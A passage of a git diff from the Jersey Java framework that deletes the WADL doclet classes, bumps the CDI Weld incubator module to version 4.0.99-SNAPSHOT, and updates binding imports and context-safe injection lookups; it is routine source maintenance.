-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ClassDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.MethodDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ParamDocType;
-
-import com.sun.javadoc.ClassDoc;
-import com.sun.javadoc.MethodDoc;
-import com.sun.javadoc.ParamTag;
-import com.sun.javadoc.Parameter;
-
-/**
- * This {@link DocProcessor} wraps multiple {@code DocProcessor}s.
- *
- * @author Martin Grotzke (martin.grotzke at freiheit.com)
- */
-public class DocProcessorWrapper implements DocProcessor {
-
-    private final List<DocProcessor> _docProcessors;
-
-    /**
-     * Create new {@code DocProcessorWrapper} instance.
-     */
-    public DocProcessorWrapper() {
-        _docProcessors = new ArrayList<>();
-    }
-
-    /**
-     * Add a new  {@code DocProcessor} instance to the list of wrapped instances.
-     *
-     * @param docProcessor  {@code DocProcessor} instance to wrap.
-     */
-    void add(DocProcessor docProcessor) {
-        _docProcessors.add(docProcessor);
-    }
-
-    @Override
-    public Class<?>[] getRequiredJaxbContextClasses() {
-        final List<Class<?>> result = new ArrayList<>();
-        for (DocProcessor docProcessor : _docProcessors) {
-            final Class<?>[] requiredJaxbContextClasses = docProcessor.getRequiredJaxbContextClasses();
-            if (requiredJaxbContextClasses != null && requiredJaxbContextClasses.length > 0) {
-                result.addAll(Arrays.asList(requiredJaxbContextClasses));
-            }
-        }
-        return result.toArray(new Class<?>[result.size()]);
-    }
-
-    @Override
-    public String[] getCDataElements() {
-        final List<String> result = new ArrayList<>();
-        for (DocProcessor docProcessor : _docProcessors) {
-            final String[] cdataElements = docProcessor.getCDataElements();
-            if (cdataElements != null && cdataElements.length > 0) {
-                result.addAll(Arrays.asList(cdataElements));
-            }
-        }
-        return result.toArray(new String[result.size()]);
-    }
-
-    @Override
-    public void processClassDoc(ClassDoc classDoc, ClassDocType classDocType) {
-        for (DocProcessor docProcessor : _docProcessors) {
-            docProcessor.processClassDoc(classDoc, classDocType);
-        }
-    }
-
-    @Override
-    public void processMethodDoc(MethodDoc methodDoc,
-                                 MethodDocType methodDocType) {
-        for (DocProcessor docProcessor : _docProcessors) {
-            docProcessor.processMethodDoc(methodDoc, methodDocType);
-        }
-    }
-
-    @Override
-    public void processParamTag(ParamTag paramTag, Parameter parameter,
-                                ParamDocType paramDocType) {
-        for (DocProcessor docProcessor : _docProcessors) {
-            docProcessor.processParamTag(paramTag, parameter, paramDocType);
-        }
-    }
-
-}
diff --git a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java b/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
deleted file mode 100644
index 89667c4..0000000
--- a/ext/wadl-doclet/src/main/java8_11/org/glassfish/jersey/wadl/doclet/ResourceDoclet.java
+++ /dev/null
@@ -1,516 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.wadl.doclet;
-
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.OutputStream;
-import java.io.StringWriter;
-import java.lang.reflect.Array;
-import java.lang.reflect.Field;
-import java.net.MalformedURLException;
-import java.net.URL;
-import java.net.URLClassLoader;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-import java.util.Map.Entry;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import javax.xml.namespace.QName;
-
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.AnnotationDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ClassDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.MethodDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.NamedValueType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ParamDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.RepresentationDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.RequestDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ResourceDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.ResponseDocType;
-import org.glassfish.jersey.server.wadl.internal.generators.resourcedoc.model.WadlParamType;
-
-import org.apache.xml.serialize.OutputFormat;
-import org.apache.xml.serialize.XMLSerializer;
-
-import com.sun.javadoc.AnnotationDesc;
-import com.sun.javadoc.AnnotationDesc.ElementValuePair;
-import com.sun.javadoc.ClassDoc;
-import com.sun.javadoc.DocErrorReporter;
-import com.sun.javadoc.MemberDoc;
-import com.sun.javadoc.MethodDoc;
-import com.sun.javadoc.ParamTag;
-import com.sun.javadoc.Parameter;
-import com.sun.javadoc.RootDoc;
-import com.sun.javadoc.SeeTag;
-import com.sun.javadoc.Tag;
-
-/**
- * Creates a resourcedoc XML file.
- * <p/>
- * <p>
- * The ResourceDoc file contains the javadoc documentation
- * of resource classes, so that this can be used for extending generated wadl with useful
- * documentation.
- * </p>
- *
- * @author <a href="mailto:martin.grotzke@freiheit.com">Martin Grotzke</a>
- */
-public class ResourceDoclet {
-
-    private static final Pattern PATTERN_RESPONSE_REPRESENTATION = Pattern.compile("@response\\.representation\\.([\\d]+)\\..*");
-    private static final String OPTION_OUTPUT = "-output";
-    private static final String OPTION_CLASSPATH = "-classpath";
-    private static final String OPTION_DOC_PROCESSORS = "-processors";
-
-    private static final Logger LOG = Logger.getLogger(ResourceDoclet.class.getName());
-
-    /**
-     * Start the doclet.
-     *
-     * @param root the root JavaDoc document.
-     * @return true if no exception is thrown.
-     */
-    public static boolean start(final RootDoc root) {
-        boolean success = true;
-        final String output = getOptionArg(root.options(), OPTION_OUTPUT);
-
-        final String classpath = getOptionArg(root.options(), OPTION_CLASSPATH);
-        // LOG.info( "Have classpath: " + classpath );
-        final String[] classpathElements = classpath.split(File.pathSeparator);
-
-        final ClassLoader cl = Thread.currentThread().getContextClassLoader();
-        final ClassLoader ncl = new Loader(classpathElements,
-                ResourceDoclet.class.getClassLoader());
-        Thread.currentThread().setContextClassLoader(ncl);
-
-        final String docProcessorOption = getOptionArg(root.options(), OPTION_DOC_PROCESSORS);
-        final String[] docProcessors = docProcessorOption != null ? docProcessorOption.split(":") : null;
-        final DocProcessorWrapper docProcessor = new DocProcessorWrapper();
-        try {
-            if (docProcessors != null && docProcessors.length > 0) {
-                final Class<?> clazz = Class.forName(docProcessors[0], true, Thread.currentThread().getContextClassLoader());
-                final Class<? extends DocProcessor> dpClazz = clazz.asSubclass(DocProcessor.class);
-                docProcessor.add(dpClazz.newInstance());
-            }
-        } catch (final Exception e) {
-            LOG.log(Level.SEVERE, "Could not load docProcessors " + docProcessorOption, e);
-        }
-
-        try {
-            final ResourceDocType result = new ResourceDocType();
-
-            final ClassDoc[] classes = root.classes();
-            for (final ClassDoc classDoc : classes) {
-                LOG.fine("Writing class " + classDoc.qualifiedTypeName());
-                final ClassDocType classDocType = new ClassDocType();
-                classDocType.setClassName(classDoc.qualifiedTypeName());
-                classDocType.setCommentText(classDoc.commentText());
-                docProcessor.processClassDoc(classDoc, classDocType);
-
-                for (final MethodDoc methodDoc : classDoc.methods()) {
-
-                    final MethodDocType methodDocType = new MethodDocType();
-                    methodDocType.setMethodName(methodDoc.name());
-                    methodDocType.setMethodSignature(methodDoc.signature());
-                    methodDocType.setCommentText(methodDoc.commentText());
-                    docProcessor.processMethodDoc(methodDoc, methodDocType);
-
-                    addParamDocs(methodDoc, methodDocType, docProcessor);
-
-                    addRequestRepresentationDoc(methodDoc, methodDocType);
-
-                    addResponseDoc(methodDoc, methodDocType);
-
-                    classDocType.getMethodDocs().add(methodDocType);
-                }
-
-                result.getDocs().add(classDocType);
-            }
-
-            success = DocletUtils.createOutputFile(output, docProcessor, result);
-        } finally {
-            Thread.currentThread().setContextClassLoader(cl);
-        }
-
-        return success;
-    }
-
-    private static void addResponseDoc(final MethodDoc methodDoc,
-                                       final MethodDocType methodDocType) {
-
-        final ResponseDocType responseDoc = new ResponseDocType();
-
-        final Tag returnTag = getSingleTagOrNull(methodDoc, "return");
-        if (returnTag != null) {
-            responseDoc.setReturnDoc(returnTag.text());
-        }
-
-        final Tag[] responseParamTags = methodDoc.tags("response.param");
-        for (final Tag responseParamTag : responseParamTags) {
-            // LOG.info( "Have responseparam tag: " + print( responseParamTag ) );
-            final WadlParamType wadlParam = new WadlParamType();
-            for (final Tag inlineTag : responseParamTag.inlineTags()) {
-                final String tagName = inlineTag.name();
-                final String tagText = inlineTag.text();
-                /* skip empty tags
-                 */
-                if (isEmpty(tagText)) {
-                    if (LOG.isLoggable(Level.FINE)) {
-                        LOG.fine("Skipping empty inline tag of @response.param in method "
-                                + methodDoc.qualifiedName() + ": " + tagName);
-                    }
-                    continue;
-                }
-                switch (tagName) {
-                    case "@name":
-                        wadlParam.setName(tagText);
-                        break;
-                    case "@style":
-                        wadlParam.setStyle(tagText);
-                        break;
-                    case "@type":
-                        wadlParam.setType(QName.valueOf(tagText));
-                        break;
-                    case "@doc":
-                        wadlParam.setDoc(tagText);
-                        break;
-                    default:
-                        LOG.warning("Unknown inline tag of @response.param in method "
-                                + methodDoc.qualifiedName() + ": " + tagName
-                                + " (value: " + tagText + ")");
-                        break;
-                }
-            }
-            responseDoc.getWadlParams().add(wadlParam);
-        }
-
-        final Map<String, List<Tag>> tagsByStatus = getResponseRepresentationTags(methodDoc);
-        for (final Entry<String, List<Tag>> entry : tagsByStatus.entrySet()) {
-            final RepresentationDocType representationDoc = new RepresentationDocType();
-            representationDoc.setStatus(Long.valueOf(entry.getKey()));
-            for (final Tag tag : entry.getValue()) {
-                if (tag.name().endsWith(".qname")) {
-                    representationDoc.setElement(QName.valueOf(tag.text()));
-                } else if (tag.name().endsWith(".mediaType")) {
-                    representationDoc.setMediaType(tag.text());
-                } else if (tag.name().endsWith(".example")) {
-                    representationDoc.setExample(getSerializedExample(tag));
-                } else if (tag.name().endsWith(".doc")) {
-                    representationDoc.setDoc(tag.text());
-                } else {
-                    LOG.warning("Unknown response representation tag " + tag.name());
-                }
-            }
-            responseDoc.getRepresentations().add(representationDoc);
-        }
-
-        methodDocType.setResponseDoc(responseDoc);
-    }
-
-    private static boolean isEmpty(final String value) {
-        return value == null || value.isEmpty() || value.trim().isEmpty();
-    }
-
-    private static void addRequestRepresentationDoc(final MethodDoc methodDoc,
-                                                    final MethodDocType methodDocType) {
-        final Tag requestElement = getSingleTagOrNull(methodDoc, "request.representation.qname");
-        final Tag requestExample = getSingleTagOrNull(methodDoc, "request.representation.example");
-        if (requestElement != null || requestExample != null) {
-            final RequestDocType requestDoc = new RequestDocType();
-            final RepresentationDocType representationDoc = new RepresentationDocType();
-
-            /* requestElement exists
-             */
-            if (requestElement != null) {
-                representationDoc.setElement(QName.valueOf(requestElement.text()));
-            }
-
-            /* requestExample exists
-             */
-            if (requestExample != null) {
-                final String example = getSerializedExample(requestExample);
-                if (!isEmpty(example)) {
-                    representationDoc.setExample(example);
-                } else {
-                    LOG.warning("Could not get serialized example for method " + methodDoc.qualifiedName());
-                }
-            }
-
-            requestDoc.setRepresentationDoc(representationDoc);
-            methodDocType.setRequestDoc(requestDoc);
-        }
-    }
-
-    private static Map<String, List<Tag>> getResponseRepresentationTags(final MethodDoc methodDoc) {
-        final Map<String, List<Tag>> tagsByStatus = new HashMap<>();
-        for (final Tag tag : methodDoc.tags()) {
-            final Matcher matcher = PATTERN_RESPONSE_REPRESENTATION.matcher(tag.name());
-            if (matcher.matches()) {
-                final String status = matcher.group(1);
-                List<Tag> tags = tagsByStatus.get(status);
-                if (tags == null) {
-                    tags = new ArrayList<>();
-                    tagsByStatus.put(status, tags);
-                }
-                tags.add(tag);
-            }
-        }
-        return tagsByStatus;
-    }
-
-    /**
-     * Searches an <code>@link</code> tag within the inline tags of the specified tag
-     * and serializes the referenced instance.
-     *
-     * @param tag the tag containing the inline tags to be searched.
-     * @return the {@code String} representation of the {@link com.sun.javadoc.Tag} or null if the parameter is null.
-     */
-    private static String getSerializedExample(final Tag tag) {
-        if (tag != null) {
-            final Tag[] inlineTags = tag.inlineTags();
-            if (inlineTags != null && inlineTags.length > 0) {
-                for (final Tag inlineTag : inlineTags) {
-                    if (LOG.isLoggable(Level.FINE)) {
-                        LOG.fine("Have inline tag: " + print(inlineTag));
-                    }
-                    if ("@link".equals(inlineTag.name())) {
-                        if (LOG.isLoggable(Level.FINE)) {
-                            LOG.fine("Have link: " + print(inlineTag));
-                        }
-                        final SeeTag linkTag = (SeeTag) inlineTag;
-                        return getSerializedLinkFromTag(linkTag);
-                    } else if (!isEmpty(inlineTag.text())) {
-                        return inlineTag.text();
-                    }
-                }
-            } else {
-                LOG.fine("Have example: " + print(tag));
-                return tag.text();
-            }
-        }
-        return null;
-    }
-
-    private static Tag getSingleTagOrNull(final MethodDoc methodDoc, final String tagName) {
-        final Tag[] tags = methodDoc.tags(tagName);
-        if (tags != null && tags.length == 1) {
-            return tags[0];
-        }
-        return null;
-    }
-
-    private static void addParamDocs(final MethodDoc methodDoc,
-                                     final MethodDocType methodDocType,
-                                     final DocProcessor docProcessor) {
-        final Parameter[] parameters = methodDoc.parameters();
-        final ParamTag[] paramTags = methodDoc.paramTags();
-
-        /* only use both javadoc and reflection information when the number
-         * of params are the same
-         */
-        if (parameters != null && paramTags != null
-                && parameters.length == paramTags.length) {
-
-            for (int i = 0; i < parameters.length; i++) {
-                final Parameter parameter = parameters[i];
-
-                /* TODO: this only works if the params and tags are in the same
-                 * order. If the param tags are mixed up, the comments for parameters
-                 * will be wrong.
-                 */
-                final ParamTag paramTag = paramTags[i];
-
-                final ParamDocType paramDocType = new ParamDocType();
-                paramDocType.setParamName(paramTag.parameterName());
-                paramDocType.setCommentText(paramTag.parameterComment());
-                docProcessor.processParamTag(paramTag, parameter, paramDocType);
-
-                final AnnotationDesc[] annotations = parameter.annotations();
-                if (annotations != null) {
-                    for (final AnnotationDesc annotationDesc : annotations) {
-                        final AnnotationDocType annotationDocType = new AnnotationDocType();
-                        final String typeName = annotationDesc.annotationType().qualifiedName();
-                        annotationDocType.setAnnotationTypeName(typeName);
-                        for (final ElementValuePair elementValuePair : annotationDesc.elementValues()) {
-                            final NamedValueType namedValueType = new NamedValueType();
-                            namedValueType.setName(elementValuePair.element().name());
-                            namedValueType.setValue(elementValuePair.value().value().toString());
-                            annotationDocType.getAttributeDocs().add(namedValueType);
-                        }
-                        paramDocType.getAnnotationDocs().add(annotationDocType);
-                    }
-                }
-
-                methodDocType.getParamDocs().add(paramDocType);
-
-            }
-
-        }
-    }
-
-    private static String getSerializedLinkFromTag(final SeeTag linkTag) {
-        final MemberDoc referencedMember = linkTag.referencedMember();
-
-        if (referencedMember == null) {
-            throw new NullPointerException("Referenced member of @link " + print(linkTag) + " cannot be resolved.");
-        }
-
-        if (!referencedMember.isStatic()) {
-            LOG.warning("Referenced member of @link " + print(linkTag) + " is not static."
-                    + " Right now only references to static members are supported.");
-            return null;
-        }
-
-        /* Get referenced example bean
-         */
-        final ClassDoc containingClass = referencedMember.containingClass();
-        return DocletUtils.getLinkClass(containingClass.qualifiedName(), referencedMember.name());
-    }
-
-    private static String print(final Tag tag) {
-        return String.valueOf(tag.getClass()) + "["
-                + "firstSentenceTags=" + toCSV(tag.firstSentenceTags())
-                + ", inlineTags=" + toCSV(tag.inlineTags())
-                + ", kind=" + tag.kind()
-                + ", name=" + tag.name()
-                + ", text=" + tag.text()
-                + "]";
-    }
-
-    static String toCSV(final Tag[] items) {
-        if (items == null) {
-            return null;
-        }
-        return toCSV(Arrays.asList(items));
-    }
-
-    static String toCSV(final Collection<Tag> items) {
-        return toCSV(items, ", ", null);
-    }
-
-    static String toCSV(final Collection<Tag> items, final String separator, final String delimiter) {
-        if (items == null) {
-            return null;
-        }
-        if (items.isEmpty()) {
-            return "";
-        }
-        final StringBuilder sb = new StringBuilder();
-        for (final Iterator<Tag> iter = items.iterator(); iter.hasNext(); ) {
-            if (delimiter != null) {
-                sb.append(delimiter);
-            }
-            final Tag item = iter.next();
-            sb.append(item.name());
-            if (delimiter != null) {
-                sb.append(delimiter);
-            }
-            if (iter.hasNext()) {
-                sb.append(separator);
-            }
-        }
-        return sb.toString();
-    }
-
-    /**
-     * Return array length for given option: 1 + the number of arguments that
-     * the option takes.
-     *
-     * @param option option
-     * @return the number of args for the specified option
-     */
-    public static int optionLength(final String option) {
-        LOG.fine("Invoked with option " + option);
-
-        if (OPTION_OUTPUT.equals(option)
-                || OPTION_CLASSPATH.equals(option)
-                || OPTION_DOC_PROCESSORS.equals(option)) {
-            return 2;
-        }
-
-        return 0;
-    }
-
-    /**
-     * Validate options.
-     *
-     * @param options  options to be validated
-     * @param reporter {@link com.sun.javadoc.DocErrorReporter} for collecting eventual errors
-     * @return if the specified options are valid
-     */
-    public static boolean validOptions(final String[][] options, final DocErrorReporter reporter) {
-        return validOption(OPTION_OUTPUT, "<path-to-file>", options, reporter)
-                && validOption(OPTION_CLASSPATH, "<path>", options, reporter);
-    }
-
-    private static boolean validOption(final String optionName,
-                                       final String reportOptionName,
-                                       final String[][] options,
-                                       final DocErrorReporter reporter) {
-        final String option = getOptionArg(options, optionName);
-
-        final boolean foundOption = option != null && !option.trim().isEmpty();
-        if (!foundOption) {
-            reporter.printError(optionName + " " + reportOptionName + " must be specified.");
-        }
-        return foundOption;
-    }
-
-    private static String getOptionArg(final String[][] options, final String option) {
-
-        for (final String[] opt : options) {
-            if (opt[0].equals(option)) {
-                return opt[1];
-            }
-        }
-
-        return null;
-    }
-
-    static class Loader extends URLClassLoader {
-
-        public Loader(final String[] paths, final ClassLoader parent) {
-            super(getURLs(paths), parent);
-        }
-
-        Loader(final String[] paths) {
-            super(getURLs(paths));
-        }
-
-        private static URL[] getURLs(final String[] paths) {
-            final List<URL> urls = new ArrayList<>();
-            for (final String path : paths) {
-                try {
-                    urls.add(new File(path).toURI().toURL());
-                } catch (final MalformedURLException e) {
-                    throw new RuntimeException(e);
-                }
-            }
-            return urls.toArray(new URL[urls.size()]);
-        }
-
-    }
-
-}
diff --git a/incubator/cdi-inject-weld/pom.xml b/incubator/cdi-inject-weld/pom.xml
index 5cb4695..3fdcca2 100644
--- a/incubator/cdi-inject-weld/pom.xml
+++ b/incubator/cdi-inject-weld/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi-inject-weld</artifactId>
@@ -49,18 +49,26 @@
             <version>${project.version}</version>
         </dependency>
 
+        <!-- Test Servlet BootstrapPreinitialization -->
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
             <artifactId>jersey-container-servlet-core</artifactId>
             <version>${project.version}</version>
-            <scope>provided</scope>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.persistence</groupId>
+            <artifactId>jakarta.persistence-api</artifactId>
+            <scope>test</scope>
         </dependency>
 
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <scope>provided</scope>
+            <scope>test</scope>
         </dependency>
+        <!-- End of Test Servlet BootstrapPreinitialization -->
+
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
             <artifactId>jersey-container-grizzly2-http</artifactId>
@@ -94,6 +102,11 @@
             <artifactId>jakarta.el-api</artifactId>
             <scope>test</scope>
         </dependency>
+
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+        </dependency>
     </dependencies>
 
     <build>
@@ -126,12 +139,13 @@
                             org.glassfish.jersey.inject.weld.managed.*;version=${project.version}
                         </Export-Package>
                         <Import-Package>
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             sun.misc.*;resolution:=optional,
                             ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
index a1c5032..2cf81a0 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/BeanHelper.java
@@ -42,10 +42,10 @@
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyTwofoldInstantiator;
 import org.glassfish.jersey.inject.weld.internal.injector.WrappingJerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
 import org.glassfish.jersey.internal.inject.PerThread;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
 
 import org.jboss.weld.annotated.enhanced.EnhancedAnnotatedConstructor;
 import org.jboss.weld.annotated.enhanced.EnhancedAnnotatedType;
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/ClassBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/ClassBean.java
index d7bfc8c..15e7bca 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/ClassBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/ClassBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,7 +29,7 @@
 import jakarta.ws.rs.RuntimeType;
 
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link ClassBinding}. Binding
@@ -60,7 +60,7 @@
  *
  * @author Petr Bouda
  */
-class ClassBean<T> extends JerseyBean<T> {
+public class ClassBean<T> extends JerseyBean<T> {
 
     private final ClassBinding<T> binding;
     private InjectionTarget<T> injectionTarget;
@@ -90,6 +90,12 @@
     @Override
     @SuppressWarnings("unchecked")
     public T create(CreationalContext<T> context) {
+//        ClassBinding<T> realBinding = (ClassBinding<T>) getBinding();
+//        if (JerseyClientCreationalContext.class.isInstance(context)) {
+//            realBinding = ((JerseyClientCreationalContext) context)
+//                  .getInjectionManager().getInjectionManagerBinding(realBinding);
+//        }
+//        T service = realBinding.getService();
         T instance = injectionTarget.produce(context);
         injectionTarget.inject(instance, context);
         injectionTarget.postConstruct(instance);
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableInstanceBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableInstanceBean.java
index cf0dd3d..aa5afd9 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableInstanceBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableInstanceBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,6 +22,8 @@
 
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyClientCreationalContext;
+import org.glassfish.jersey.inject.weld.internal.managed.CdiClientInjectionManager;
+import org.glassfish.jersey.inject.weld.internal.managed.ContextSafe;
 
 import java.lang.annotation.Annotation;
 
@@ -52,6 +54,11 @@
         InitializableInstanceBinding<T> realBinding = (InitializableInstanceBinding<T>) getBinding();
         if (JerseyClientCreationalContext.class.isInstance(context)) {
             realBinding = ((JerseyClientCreationalContext) context).getInjectionManager().getInjectionManagerBinding(realBinding);
+        } else {
+            CdiClientInjectionManager locked = ContextSafe.get();
+            if (locked != null) {
+                realBinding = locked.getInjectionManagerBinding(realBinding);
+            }
         }
         T service = realBinding.getService();
         this.injectionTarget.inject(service, context);
@@ -75,6 +82,6 @@
 
     @Override
     public String toString() {
-        return "InitializableInstanceBean{" + getBeanClass() + "}";
+        return getBinding().toString();
     }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBean.java
index d42ca44..7f03295 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,9 +23,11 @@
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableSupplierInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyClientCreationalContext;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
+import org.glassfish.jersey.inject.weld.internal.managed.CdiClientInjectionManager;
+import org.glassfish.jersey.inject.weld.internal.managed.ContextSafe;
 import org.glassfish.jersey.inject.weld.internal.type.ParameterizedTypeImpl;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
@@ -101,6 +103,12 @@
             final JerseyClientCreationalContext jerseyContext = (JerseyClientCreationalContext) context;
             return jerseyContext.getInjectionManager().getInjectionManagerBinding(binding).getSupplier();
         } else {
+            CdiClientInjectionManager locked = ContextSafe.get();
+            if (locked != null) {
+                return locked
+                        .getInjectionManagerBinding((InitializableSupplierInstanceBinding<T>) getBinding())
+                        .getSupplier();
+            }
             return supplier;
         }
     }
@@ -115,4 +123,9 @@
     public Class<? extends Annotation> getScope() {
         return getBinding().getScope() == null ? Dependent.class : transformScope(getBinding().getScope());
     }
+
+    @Override
+    public String toString() {
+        return getBinding().toString();
+    }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBeanBridge.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBeanBridge.java
index 8f16719..e073517 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBeanBridge.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBeanBridge.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,9 +21,12 @@
 import jakarta.ws.rs.RuntimeType;
 
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableSupplierInstanceBinding;
+import org.glassfish.jersey.inject.weld.internal.injector.JerseyClientCreationalContext;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
+import org.glassfish.jersey.inject.weld.internal.managed.CdiClientInjectionManager;
+import org.glassfish.jersey.inject.weld.internal.managed.ContextSafe;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 import java.lang.annotation.Annotation;
 import java.util.function.Supplier;
@@ -83,7 +86,19 @@
 
     @Override
     public Object create(CreationalContext creationalContext) {
-        return supplier.get();
+        if (JerseyClientCreationalContext.class.isInstance(creationalContext)) {
